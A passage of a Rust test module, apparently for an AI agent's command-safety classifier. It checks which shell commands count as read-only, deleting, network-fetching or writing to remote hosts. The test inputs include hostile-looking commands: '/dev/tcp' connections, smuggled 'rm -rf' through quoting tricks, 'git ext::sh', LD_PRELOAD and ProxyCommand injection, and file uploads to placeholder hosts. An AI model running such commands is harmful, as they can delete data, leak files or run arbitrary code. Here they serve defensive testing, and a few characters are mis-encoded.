4876            "sh -c 'cargo test'",
4877            "cargo test # done",
4878            "tee out.log",
4879            // Inline code through a local-work program's own options.
4880            "git rebase -x 'curl x' HEAD~1",
4881            "git rebase --exec='curl x' HEAD~1",
4882            "git rebase --exec 'curl x' HEAD~1",
4883            "git commit -c HEAD",
4884            "cargo test --config 'target.x.runner=\"sh\"'",
4885            "cargo build --config=build.rustc-wrapper=x",
4886            "make --eval='$x'",
4887            "make -E x",
4888            "make -E'$x'",
4889            "go build --toolexec=x",
4890            "go build -toolexec x ./...",
4891            "go test -exec=x ./...",
4892            "python3 /dev/stdin",
4893            "python3 -",
4894            "node /dev/fd/3",
4895            "npm exec x",
4896            "pnpm dlx x",
4897            "yarn dlx x",
4898        ] {
4899            assert!(!command_effects(other).local_work_only, "{other}");
4900        }
4901        for local in [
4902            "git rebase main",
4903            "make -j4 all",
4904            "go test ./...",
4905            "node scripts/x.js",
4906        ] {
4907            assert!(command_effects(local).local_work_only, "{local}");
4908        }
4909        assert_eq!(
4910            command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
4911            Some(vec!["-odd".into(), "build".into(), "out".into()])
4912        );
4913        for unknown in [
4914            "rm \"$X\"",
4915            "git clean -fd",
4916            "xargs rm",
4917            "rm `ls`",
4918            "find -delete",
4919            "find -L / -delete",
4920            "rm -rf {a,b}",
4921            "cd x && rm y",
4922        ] {
4923            assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
4924        }
4925        // Observations still refuse file redirects.
4926        assert!(!command_effects("ls > out").observation_only);
4927    }
4928
4929    #[test]
4930    fn command_effects_types_observation_by_structure() {
4931        for observing in [
4932            "ls /tmp",
4933            "git status",
4934            "grep -r x .",
4935            "cat a 2>&1 | head",
4936            "ls > /dev/null",
4937            "ls 2>/dev/null",
4938            "echo 'a > b'",
4939            "git branch --list",
4940            "git branch",
4941            "find . -name '*.rs'",
4942            "date +%Y",
4943            "date -u",
4944            "date -u +%H:%M",
4945            "date --utc",
4946            "date -R",
4947            "date -Iseconds",
4948            "date --iso-8601=seconds",
4949            "tree -a -L 2",
4950            "uniq -c f",
4951            "date",
4952            "/usr/bin/ls",
4953            "rg -n foo src",
4954            "sort -u f",
4955            "cat < /dev/null",
4956            "test ! -e restart-check.txt",
4957            "[ -f Cargo.toml ]",
4958            "test -d src && ls src",
4959            "sleep 18",
4960            "sleep 0.5",
4961            "sleep 2m",
4962            "sleep 5 && cat out.log",
4963            // Live 2026-11-14: each of these waited about 2 s for the
4964            // untrusted-egress verifier in a session that had read a page.
4965            "TZ=Asia/Tokyo date '+%I:%M %p'",
4966            "date -u '+%Y'; TZ=Europe/London date '+London %H'",
4967            "for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
4968            "LC_ALL=C sort -u f",
4969            "find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
4970            "find . -name '*.rs' -exec wc -l {} \\;",
4971            "df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
4972            "top -b -n 1",
4973            "sysctl -a",
4974            "git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
4975            "sw_vers -productVersion; hostname; uptime",
4976            "hostname -s",
4977        ] {
4978            assert!(
4979                command_effects(observing).observation_only,
4980                "{observing} should be observation-only"
4981            );
4982        }
4983        for mutating in [
4984            "sleep infinity",
4985            "sleep 5; curl example.invalid",
4986            "sleep $(curl example.invalid)",
4987            "rm -rf /tmp/aidaemon-test/x",
4988            "ls /tmp; rm -rf /tmp/aidaemon-test/x",
4989            "ls && rm x",
4990            "cat a > b",
4991            "echo x >> b",
4992            "ls | xargs rm",
4993            "ls | tee out",
4994            "echo $(curl example.invalid)",
4995            "echo \"$(curl example.invalid)\"",
4996            "echo `id`",
4997            "find . -delete",
4998            "find . -exec rm {} ;",
4999            "sed -i s/a/b/ f",
5000            "sed -ni p f",
5001            "sed --in-place p f",
5002            "git push",
5003            "git branch -D x",
5004            "git clean -fd",
5005            "python3 script.py",
5006            "curl https://example.invalid",
5007            "sh -c 'rm x'",
5008            "cat a >&out",
5009            "echo hi &> out",
5010            "sort -o out in",
5011            "git diff --output=out",
5012            "uniq in out",
5013            "echo 'unterminated",
5014            "",
5015            "ls; env -S 'rm x'",
5016            "ls; env -S'rm x'",
5017            "ls # <<EOF\nrm x\nEOF",
5018            "ls\nrm x",
5019            "cat <<EOF\nhi\nEOF",
5020            "rg --pre rm x .",
5021            "rg --pre=rm x .",
5022            "rg --hostname-bin=rm x",
5023            "rg -z foo",
5024            "GIT_EXTERNAL_DIFF='rm -rf x' git diff",
5025            "env GIT_EXTERNAL_DIFF=rm git diff",
5026            "FOO=1 ls",
5027            "PATH=/tmp ls",
5028            "TZ=UTC PATH=/tmp date",
5029            "LD_PRELOAD=x date",
5030            "LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
5031            "find . -exec rm {} +",
5032            "find . -exec stat {} \\; -delete",
5033            "find . -exec stat {}",
5034            "find . -ok stat {} \\;",
5035            "find . -exec sh -c 'rm x' \\;",
5036            "hostname newname",
5037            "hostname -F f",
5038            "sysctl -w kern.x=1",
5039            "sysctl kern.x=1",
5040            "sysctl -p",
5041            "sysctl --system",
5042            "top",
5043            "top -l 0",
5044            "git branch --show-current -D x",
5045            "env ls",
5046            "git --config-env=core.fsmonitor=F status",
5047            "git -c core.pager=x status",
5048            "git diff --ext-diff",
5049            "sort --compress-program=rm a",
5050            "cat </dev/tcp/example.invalid/80",
5051            "cat < f",
5052            "date -s 2020-01-01",
5053            "date -u -s 2020-01-01",
5054            "date -u 010112002020",
5055            "date 010112002020",
5056            "date +%Y 010112002020",
5057            "date +%Y +%m",
5058            "date -us 2020-01-01",
5059            "hostname evil",
5060            "file -C -m m",
5061            "sed -n p f",
5062            "sed 's/a/b/w out' f",
5063            "sed '1e rm x' f",
5064            "(rm x)",
5065            "{ rm x; }",
5066            "sudo ls",
5067            "nice ls",
5068            "timeout 5 ls",
5069            "/tmp/evil/ls",
5070            "./ls",
5071            "echo a #b",
5072            "echo $'\\'' > out \\'",
5073            "echo $'a\\'' ; rm -rf x ; echo \\'",
5074            "echo $'a\\'' ; curl example.invalid ; echo \\'",
5075            "uniq - out",
5076            "uniq -c - out",
5077            "tree -ao out",
5078            "tree -R",
5079            "tree --weird",
5080            "git -C d status",
5081            "git --git-dir=d status",
5082            "git --git-dir d status",
5083            "git --work-tree=d status",
5084        ] {
5085            assert!(
5086                !command_effects(mutating).observation_only,
5087                "{mutating} should not be observation-only"
5088            );
5089        }
5090    }
5091
5092    #[test]
5093    fn remote_writes_are_read_from_option_structure() {
5094        for writing in [
5095            "curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
5096            "curl -X POST http://localhost:1/x",
5097            "curl -XDELETE http://localhost:1/x",
5098            "curl -sd a=1 https://example.invalid",
5099            "curl --json '{}' https://example.invalid",
5100            "curl -F f=@a https://example.invalid",
5101            "curl --upload-file a https://example.invalid",
5102            "wget --post-data=a=1 https://example.invalid",
5103            "wget --method PUT https://example.invalid",
5104            "git push origin main",
5105            "git -C repo push",
5106            "cd x && curl -X PATCH https://example.invalid",
5107        ] {
5108            assert!(sends_remote_write(writing), "{writing} sends a write");
5109        }
5110        for reading in [
5111            "curl https://example.invalid",
5112            "curl -sSL -o out https://example.invalid",
5113            "curl -X GET https://example.invalid",
5114            "curl --request=HEAD https://example.invalid",
5115            "wget https://example.invalid",
5116            "git pull",
5117            "git log --grep push",
5118            "ls",
5119        ] {
5120            assert!(!sends_remote_write(reading), "{reading} only reads");
5121        }
5122    }
5123
5124    #[test]
5125    fn fetches_network_by_executable_table() {
5126        for fetching in [
5127            "curl https://example.invalid",
5128            "ls && wget x",
5129            "git clone u",
5130            "git -C d pull",
5131            "npm install x",
5132            "cargo add serde",
5133            "sh -c 'ssh host'",
5134            "gh pr list",
5135            "sudo curl x",
5136            "nice curl x",
5137            "timeout 5 curl x",
5138            "xargs curl",
5139            "find . -exec curl {} ;",
5140            "(curl x)",
5141            "{ curl x; }",
5142            "echo \"$(curl x)\"",
5143            "cat </dev/tcp/example.invalid/80",
5144            "pip3 -q install x",
5145            "npm --prefix d install x",
5146            "cargo +nightly install x",
5147            "yarn",
5148            "npm ci",
5149            "npx foo",
5150            "pnpm dlx foo",
5151            "bunx foo",
5152            "uvx foo",
5153            "uv pip install x",
5154            "pip download x",
5155            "brew install x",
5156            "go get x",
5157            "docker pull x",
5158            "gem install x",
5159            "apt-get install x",
5160            "svn up",
5161            "hg pull",
5162            "socat a b",
5163            "openssl s_client -connect h:1",
5164            "ping h",
5165            "dig h",
5166            "rclone ls r:",
5167            "aws s3 ls",
5168            "kubectl get pods",
5169            "git remote update",
5170            "git archive --remote=u HEAD",
5171            "git push",
5172            "npm publish",
5173            "cargo publish",
5174            "FOO=1 curl x",
5175        ] {
5176            assert!(fetches_network(fetching), "{fetching}");
5177        }
5178        for local in [
5179            "git status",
5180            "npm test",
5181            "cargo build",
5182            "echo curl",
5183            "ls",
5184            "yarn test",
5185        ] {
5186            assert!(!fetches_network(local), "{local}");
5187        }
5188    }
5189
5190    #[test]
5191    fn ansi_c_quoting_over_reports_effects() {
5192        for hidden in [
5193            "echo $'a\\'' ; rm -rf x ; echo \\'",
5194            "echo $'a\\'' ; curl example.invalid ; echo \\'",
5195        ] {
5196            assert!(command_effects(hidden).deletes, "{hidden}");
5197            assert!(fetches_network(hidden), "{hidden}");
5198        }
5199    }
5200
5201    #[test]
5202    fn git_config_paths_are_structural() {
5203        for path in [
5204            "/repo/.git/config",
5205            ".git/hooks/pre-commit",
5206            "a/.git",
5207            "/repo/sub/.gitattributes",
5208            ".gitmodules",
5209            "C:\\repo\\.git\\config",
5210        ] {
5211            assert!(is_git_config_path(path), "{path}");
5212        }
5213        for path in [
5214            "/repo/.github/x.yml",
5215            "/repo/src/git.rs",
5216            "a/.gitignore",
5217            "/repo/gitattributes",
5218        ] {
5219            assert!(!is_git_config_path(path), "{path}");
5220        }
5221    }
5222
5223    #[test]
5224    fn git_config_path_detection_is_case_insensitive_and_global() {
5225        for path in [
5226            ".GIT/config",
5227            "repo/.Git/config",
5228            "repo/.GITATTRIBUTES",
5229            "repo/.GITMODULES",
5230            "repo/.git./config",
5231            "repo/.git /config",
5232            "./repo/x/../.git/config",
5233            "~/.gitconfig",
5234            "$HOME/.gitconfig",
5235            "${HOME}/.gitconfig",
5236            "~/.config/git/attributes",
5237            "~/.config/git/config",
5238            "~/.config/../.config/git/ignore",
5239            "/etc/gitconfig",
5240            "/etc/./gitconfig",
5241            "/srv/user/.GITCONFIG",
5242        ] {
5243            assert!(is_git_config_path(path), "{path}");
5244        }
5245        if let Some(home) = dirs::home_dir() {
5246            let absolute = home.join(".config").join("git").join("attributes");
5247            assert!(is_git_config_path(&absolute.to_string_lossy()));
5248        }
5249        // `.gitignore` and `.github` are ordinary project files.
5250        for path in [
5251            "repo/src/git.rs",
5252            "repo/.github/workflows/x.yml",
5253            "repo/.gitignore",
5254            "repo/.GITHUB/x.yml",
5255            "/etc/gitconfig.d/x",
5256            "repo/config/git.toml",
5257        ] {
5258            assert!(!is_git_config_path(path), "{path}");
5259        }
5260    }
5261
5262    #[test]
5263    fn command_words_naming_git_config_are_detected() {
5264        for command in [
5265            "cp x ~/.gitconfig",
5266            "echo x > ~/.gitconfig",
5267            "echo x >>.git/config",
5268            "git config --file=$HOME/.gitconfig a.b c",
5269            "sh -c 'cp x .GIT/hooks/pre-commit'",
5270            "echo \"$(cp x /etc/gitconfig)\"",
5271            "cp x \"repo/.gitattributes\"",
5272        ] {
5273            assert!(command_names_git_config_path(command), "{command}");
5274        }
5275        for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
5276            assert!(!command_names_git_config_path(command), "{command}");
5277        }
5278    }
5279
5280    #[test]
5281    fn command_effects_flags_deletion_structurally() {
5282        for deleting in [
5283            "rm x",
5284            "find . -delete",
5285            "git clean -fd",
5286            "ls; rmdir d",
5287            "sh -c 'unlink x'",
5288            "ls | xargs rm",
5289            "find . -exec shred {} ;",
5290            "sudo rm x",
5291            "nice rm x",
5292            "timeout 5 rm x",
5293            "(rm x)",
5294            "{ rm x; }",
5295            "exec rm x",
5296            "echo \"$(rm x)\"",
5297            "FOO=1 rm x",
5298        ] {
5299            assert!(command_effects(deleting).deletes, "{deleting}");
5300        }
5301        for benign in [
5302            "ls",
5303            "git status",
5304            "echo rm",
5305            "grep rm file",
5306            "find . -name x",
5307        ] {
5308            assert!(!command_effects(benign).deletes, "{benign}");
5309        }
5310    }
5311
5312    fn egress(target: &str) -> EffectKey {
5313        EffectKey {
5314            class: EffectClass::Egress,
5315            target: target.to_string(),
5316        }
5317    }
5318
5319    /// The canonical form of a path that may not exist yet: its nearest
5320    /// existing ancestor canonicalized (macOS `/tmp` is `/private/tmp`).
5321    fn canonical(path: &str) -> String {
5322        let path = std::path::Path::new(path);
5323        for ancestor in path.ancestors() {
5324            if let Ok(real) = dunce::canonicalize(ancestor) {
5325                let rest = path.strip_prefix(ancestor).unwrap();
5326                return real
5327                    .join(rest)
5328                    .to_string_lossy()
5329                    .trim_end_matches('/')
5330                    .to_string();
5331            }
5332        }
5333        unreachable!()
5334    }
5335
5336    fn synthetic_dir() -> String {
5337        format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
5338    }
5339
5340    #[test]
5341    fn ipv6_bracketed_and_bare_hosts_match() {
5342        assert_eq!(
5343            egress_effect("http", "[::1]", Some(8765)),
5344            egress_effect("http", "::1", Some(8765))
5345        );
5346        assert_eq!(
5347            egress_effect("http", "[::1]", Some(8765)),
5348            Some(egress("::1:8765"))
5349        );
5350        // A URL host and a bare shell operand name the same target.
5351        assert_eq!(
5352            url_effect("http://[::1]:8765/announce"),
5353            Some(egress("::1:8765"))
5354        );
5355        assert_eq!(
5356            shell_call_effects("nc ::1 8765", None).keys,
5357            vec![egress("::1:8765")]
5358        );
5359    }
5360
5361    #[test]
5362    fn existing_path_declared_canonically() {
5363        let dir = tempfile::tempdir().unwrap();
5364        let real = dir.path().join("real");
5365        std::fs::create_dir(&real).unwrap();
5366        let link = dir.path().join("link");
5367        #[cfg(unix)]
5368        std::os::unix::fs::symlink(&real, &link).unwrap();
5369        #[cfg(not(unix))]
5370        return;
5371        let real_canonical = dunce::canonicalize(&real).unwrap();
5372        // An existing path through a symlink is the symlink's target.
5373        let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
5374        assert_eq!(existing.target, real_canonical.to_string_lossy());
5375        // A new file below it lands below the canonical directory.
5376        let new_file = path_effect(
5377            EffectClass::Write,
5378            &format!("{}/f.txt", link.to_str().unwrap()),
5379            None,
5380        )
5381        .unwrap();
5382        assert_eq!(
5383            new_file.target,
5384            real_canonical.join("f.txt").to_string_lossy()
5385        );
5386        // A relative path resolves against the working directory, else it is
5387        // undeterminable.
5388        let relative =
5389            path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
5390        assert_eq!(relative, new_file);
5391        assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
5392        // Removing a symlink removes the link, not its target.
5393        let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
5394        assert_eq!(
5395            removed.target,
5396            dunce::canonicalize(dir.path())
5397                .unwrap()
5398                .join("link")
5399                .to_string_lossy()
5400        );
5401    }
5402
5403    #[test]
5404    fn network_programs_declare_their_hosts() {
5405        let cases: &[(&str, &[&str])] = &[
5406            (
5407                "ssh deploy@h.example.invalid uptime",
5408                &["h.example.invalid:22"],
5409            ),
5410            ("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
5411            (
5412                "ssh ssh://h.example.invalid:2200",
5413                &["h.example.invalid:2200"],
5414            ),
5415            ("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
5416            (
5417                "http POST https://api.example.invalid/v1 name=x",
5418                &["api.example.invalid:443"],
5419            ),
5420        ];
5421        for (command, hosts) in cases {
5422            let effects = shell_call_effects(command, None);
5423            assert!(!effects.complete, "{command}");
5424            let egress: Vec<_> = effects
5425                .keys
5426                .iter()
5427                .filter(|key| key.class == EffectClass::Egress)
5428                .map(|key| key.target.as_str())
5429                .collect();
5430            assert_eq!(&egress, hosts, "{command}");
5431        }
5432    }
5433
5434    #[test]
5435    fn local_file_effects_are_declared_with_their_class() {
5436        let dir = synthetic_dir();
5437        let key = |class: EffectClass, path: &str| EffectKey {
5438            class,
5439            target: canonical(path),
5440        };
5441        let cases: Vec<(String, Vec<EffectKey>)> = vec![
5442            (
5443                format!("rm -rf {dir}/build"),
5444                vec![key(EffectClass::Delete, &format!("{dir}/build"))],
5445            ),
5446            (
5447                format!("cp a.txt {dir}/b.txt"),
5448                vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
5449            ),
5450            (
5451                format!("mv {dir}/a {dir}/b"),
5452                vec![
5453                    key(EffectClass::Delete, &format!("{dir}/a")),
5454                    key(EffectClass::Write, &format!("{dir}/b")),
5455                ],
5456            ),
5457            (
5458                format!("printf x | tee -a {dir}/log"),
5459                vec![key(EffectClass::Write, &format!("{dir}/log"))],
5460            ),
5461            (
5462                format!("curl -o {dir}/page.html https://a.example.invalid/"),
5463                vec![
5464                    key(EffectClass::Write, &format!("{dir}/page.html")),
5465                    egress("a.example.invalid:443"),
5466                ],
5467            ),
5468            (
5469                format!("scp h.example.invalid:/srv/x {dir}/x"),
5470                vec![
5471                    egress("h.example.invalid:22"),
5472                    key(EffectClass::Write, &format!("{dir}/x")),
5473                ],
5474            ),
5475        ];
5476        for (command, expected) in cases {
5477            let effects = shell_call_effects(&command, None);
5478            assert!(!effects.complete, "{command}");
5479            let mut keys = effects.keys.clone();
5480            let mut expected = expected.clone();
5481            keys.sort_by(|a, b| a.target.cmp(&b.target));
5482            expected.sort_by(|a, b| a.target.cmp(&b.target));
5483            assert_eq!(keys, expected, "{command}");
5484        }
5485    }
5486
5487    #[test]
5488    fn undeterminable_segments_make_effects_incomplete() {
5489        for command in [
5490            "bash run.sh",
5491            "python3 tool.py",
5492            "rm build",
5493            "echo x > out.txt",
5494            "cd /tmp/aidaemon-test && rm -rf x",
5495            "curl -O https://a.example.invalid/f",
5496            "curl --frobnicate https://a.example.invalid/",
5497            "wget https://a.example.invalid/f",
5498            "cargo build",
5499            "git commit -m x",
5500            "rm $TARGET",
5501            "echo $(curl https://a.example.invalid/)",
5502            "ssh -o ProxyCommand=x h.example.invalid",
5503        ] {
5504            assert!(!shell_call_effects(command, None).complete, "{command}");
5505        }
5506        // Keys found before the opaque segment are still declared.
5507        let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
5508        assert!(!partial.complete);
5509        assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
5510        // A relative path resolves against a known working directory.
5511        let dir = synthetic_dir();
5512        let resolved = shell_call_effects("rm build", Some(&dir));
5513        assert!(!resolved.complete);
5514        assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
5515        // Even a plain observation is never declared complete, though it
5516        // is read in full.
5517        for observation in ["ls -la", "echo hi", "cat a | grep b"] {
5518            let effects = shell_call_effects(observation, None);
5519            assert!(
5520                effects.keys.is_empty() && !effects.complete,
5521                "{observation}"
5522            );
5523            assert!(effects.understood, "{observation}");
5524        }
5525        for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
5526            assert!(!shell_call_effects(command, None).understood, "{command}");
5527        }
5528    }
5529
5530    /// A script that moves with `cd` before copying and deleting declares
5531    /// the paths it changes there, and a reworded script with the same copy
5532    /// declares the same write: an owner's decline binds the effect, not the
5533    /// script's text.
5534    #[test]
5535    fn a_literal_cd_moves_where_later_paths_resolve() {
5536        let dir = synthetic_dir();
5537        let first = shell_call_effects(
5538            &format!(
5539                "cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
5540            ),
5541            None,
5542        );
5543        assert!(!first.complete);
5544        assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
5545        assert!(
5546            first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
5547            "{:?}",
5548            first.keys
5549        );
5550        // Reworded: no delete, other filler, run from another directory.
5551        let reworded = shell_call_effects(
5552            &format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
5553            Some("/tmp/aidaemon-test/elsewhere"),
5554        );
5555        assert!(
5556            reworded
5557                .keys
5558                .iter()
5559                .any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
5560        );
5561        // Relative `cd` from a known directory, and `||`.
5562        let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
5563        assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
5564        // A `cd` the rest of the script does not run after, or to a word
5565        // the shell expands, leaves relative paths unknown.
5566        for command in [
5567            format!("cd {dir} | true\nrm -f x"),
5568            format!("cd {dir} & rm -f x"),
5569            format!("(cd {dir}) ; rm -f x"),
5570            "cd $HOME && rm -f x".to_string(),
5571            "cd - && rm -f x".to_string(),
5572            format!("pushd {dir} && rm -f x"),
5573        ] {
5574            let effects = shell_call_effects(&command, None);
5575            assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
5576        }
5577    }
5578
5579    /// What one corpus command must declare.
5580    enum Expect {
5581        /// No claim on the keys beyond "none is an expanded word".
5582        Incomplete,
5583        /// Exactly these keys.
5584        Exact(Vec<EffectKey>),
5585        /// Only keys from this set (a correct key or none, never a wrong
5586        /// one).
5587        Within(Vec<EffectKey>),
5588    }
5589
5590    fn write(path: &str) -> EffectKey {
5591        EffectKey {
5592            class: EffectClass::Write,
5593            target: canonical(path),
5594        }
5595    }
5596
5597    fn delete(path: &str) -> EffectKey {
5598        EffectKey {
5599            class: EffectClass::Delete,
5600            target: canonical(path),
5601        }
5602    }
5603
5604    /// Every command from the Task 3 review (C1โ€“C6, I1โ€“I5, M1โ€“M3), its
5605    /// probe list and the re-review (N1โ€“N5). The contract for later tasks: a
5606    /// shell command is NEVER complete; the keys extracted are exact where
5607    /// listed, and never a wrong concrete target.
5608    #[test]
5609    fn under_declaration_corpus() {
5610        use Expect::{Exact, Incomplete, Within};
5611        let w = "/tmp/aidaemon-test/w";
5612        let cases: Vec<(&str, Expect)> = vec![
5613            // C1: `cd` moves where relative targets land.
5614            ("cd /etc && echo x > f", Incomplete),
5615            ("pushd /etc && rm -f f", Incomplete),
5616            ("popd; echo x > f", Incomplete),
5617            ("cd /tmp && curl https://a.example.invalid/", Incomplete),
5618            // C3: subcommand-specific option arity.
5619            ("git clone -u ./x https://a.example.invalid/r", Incomplete),
5620            ("git pull -s ours https://a.example.invalid/r", Incomplete),
5621            // C4: brace and glob expansion in hosts.
5622            ("curl 'https://{a,b}.example.invalid/'", Incomplete),
5623            ("curl https://{a,b}.example.invalid/", Incomplete),
5624            ("ssh {a,b}.example.invalid", Incomplete),
5625            ("scp f {a,b}.example.invalid:", Incomplete),
5626            ("nc {a,b}.example.invalid 80", Incomplete),
5627            ("curl 'https://a*.example.invalid/'", Incomplete),
5628            ("curl 'https://a,b.example.invalid/'", Incomplete),
5629            ("curl 'https://[a-b].example.invalid/'", Incomplete),
5630            ("ssh 'a?.example.invalid'", Incomplete),
5631            // C5: only a strict URL is read.
5632            (
5633                "curl 'https://a.example.invalid\\@b.example.invalid/'",
5634                Incomplete,
5635            ),
5636            (
5637                "curl 'https://u@a.example.invalid@b.example.invalid/'",
5638                Incomplete,
5639            ),
5640            (
5641                "wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
5642                Incomplete,
5643            ),
5644            ("curl 'https://a.example.invalid /'", Incomplete),
5645            ("curl 'https://รค.example.invalid/'", Incomplete),
5646            (
5647                "git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
5648                Incomplete,
5649            ),
5650            // I1: rsync --port.
5651            ("rsync --port=8730 f h.example.invalid:d", Incomplete),
5652            (
5653                "rsync --port=8730 f rsync://h.example.invalid/m/",
5654                Incomplete,
5655            ),
5656            // I2: proxies.
5657            (
5658                "curl -x http://p.example.invalid https://a.example.invalid/",
5659                Incomplete,
5660            ),
5661            (
5662                "curl -x socks5://p.example.invalid https://a.example.invalid/",
5663                Incomplete,
5664            ),
5665            (
5666                "curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
5667                Incomplete,
5668            ),
5669            (
5670                "curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
5671                Incomplete,
5672            ),
5673            (
5674                "ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
5675                Incomplete,
5676            ),
5677            // I3: scheme-less URLs.
5678            ("curl ftp.example.invalid/f", Incomplete),
5679            ("curl a.example.invalid/x", Incomplete),
5680            ("curl @file", Incomplete),
5681            ("http :8080/health", Incomplete),
5682            ("wget -O- a.example.invalid", Incomplete),
5683            // I4: git network commands run hooks and fetch submodules.
5684            ("git pull https://a.example.invalid/r", Incomplete),
5685            ("git fetch https://a.example.invalid/r", Incomplete),
5686            ("git push https://a.example.invalid/r main", Incomplete),
5687            (
5688                "git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
5689                Incomplete,
5690            ),
5691            ("git clone https://h.example.invalid/a.bundle", Incomplete),
5692            ("git ls-remote https://a.example.invalid/r", Incomplete),
5693            (
5694                "git ls-remote --heads https://a.example.invalid/r",
5695                Incomplete,
5696            ),
5697            // I5: rsync writes outside the destination.
5698            (
5699                "rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
5700                Incomplete,
5701            ),
5702            (
5703                "rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5704                Incomplete,
5705            ),
5706            (
5707                "rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5708                Incomplete,
5709            ),
5710            (
5711                "rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
5712                Incomplete,
5713            ),
5714            (
5715                "rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
5716                Incomplete,
5717            ),
5718            ("rsync -e ssh a h.example.invalid:d", Incomplete),
5719            (
5720                "rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
5721                Exact(vec![write("/tmp/aidaemon-test/dst")]),
5722            ),
5723            // M1: options after the ssh destination belong to the remote command.
5724            (
5725                "ssh h.example.invalid somecmd -p 2222",
5726                Exact(vec![egress("h.example.invalid:22")]),
5727            ),
5728            // M2: backups land beside the destination.
5729            ("cp -b a /tmp/aidaemon-test/f", Incomplete),
5730            ("cp --backup a /tmp/aidaemon-test/f", Incomplete),
5731            (
5732                "mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
5733                Incomplete,
5734            ),
5735            // Probe list: curl.
5736            (
5737                "curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
5738                Exact(vec![
5739                    write("/tmp/aidaemon-test/x"),
5740                    egress("a.example.invalid:443"),
5741                ]),
5742            ),
5743            ("curl -K cfg https://a.example.invalid/", Incomplete),
5744            ("curl --config cfg https://a.example.invalid/", Incomplete),
5745            ("curl -O https://a.example.invalid/f", Incomplete),
5746            (
5747                "curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
5748                Incomplete,
5749            ),
5750            (
5751                "curl --connect-to ::127.0.0.1: https://a.example.invalid/",
5752                Incomplete,
5753            ),
5754            (
5755                "curl -d @file https://a.example.invalid/",
5756                Exact(vec![egress("a.example.invalid:443")]),
5757            ),
5758            (
5759                "curl -X POST https://a.example.invalid/x -d '{}'",
5760                Exact(vec![egress("a.example.invalid:443")]),
5761            ),
5762            ("curl $URL", Incomplete),
5763            ("curl \"$(cat u)\"", Incomplete),
5764            (
5765                "curl https://a.example.invalid/ https://b.example.invalid/",
5766                Exact(vec![
5767                    egress("a.example.invalid:443"),
5768                    egress("b.example.invalid:443"),
5769                ]),
5770            ),
5771            (
5772                "curl -w '%output{/tmp/x}' https://a.example.invalid/",
5773                Incomplete,
5774            ),
5775            ("curl http://[::1]:8765/", Incomplete),
5776            // Probe list: wget.
5777            ("wget -i list", Incomplete),
5778            ("wget -e robots=off https://a.example.invalid/", Incomplete),
5779            ("wget -r https://a.example.invalid/", Incomplete),
5780            ("wget -P /tmp https://a.example.invalid/", Incomplete),
5781            ("wget https://a.example.invalid/f", Incomplete),
5782            (
5783                "wget -qO- http://b.example.invalid:8080/y",
5784                Exact(vec![egress("b.example.invalid:8080")]),
5785            ),
5786            // Probe list: git.
5787            ("git push origin main", Incomplete),
5788            (
5789                "git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
5790                Incomplete,
5791            ),
5792            ("git clone 'ext::sh -c x'", Incomplete),
5793            (
5794                "git clone --upload-pack=x https://a.example.invalid/r",
5795                Incomplete,
5796            ),
5797            (
5798                "git push --receive-pack=x https://a.example.invalid/r",
5799                Incomplete,
5800            ),
5801            ("git commit -m x", Incomplete),
5802            // Repository config (diff.external, core.fsmonitor, aliases,
5803            // pagers, hooks) runs code for every git command.
5804            ("git status", Incomplete),
5805            ("git diff", Incomplete),
5806            ("git log --oneline", Incomplete),
5807            ("git show HEAD", Incomplete),
5808            ("git rev-parse HEAD", Incomplete),
5809            ("git branch --list", Incomplete),
5810            ("ls -la && git status", Incomplete),
5811            // Probe list: ssh, scp, nc, rsync.
5812            ("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
5813            ("ssh -F cfg h.example.invalid", Incomplete),
5814            ("ssh -J j.example.invalid h.example.invalid", Incomplete),
5815            ("ssh -W x:1 h.example.invalid", Incomplete),
5816            (
5817                "scp /tmp/aidaemon-test/a b.example.invalid:",
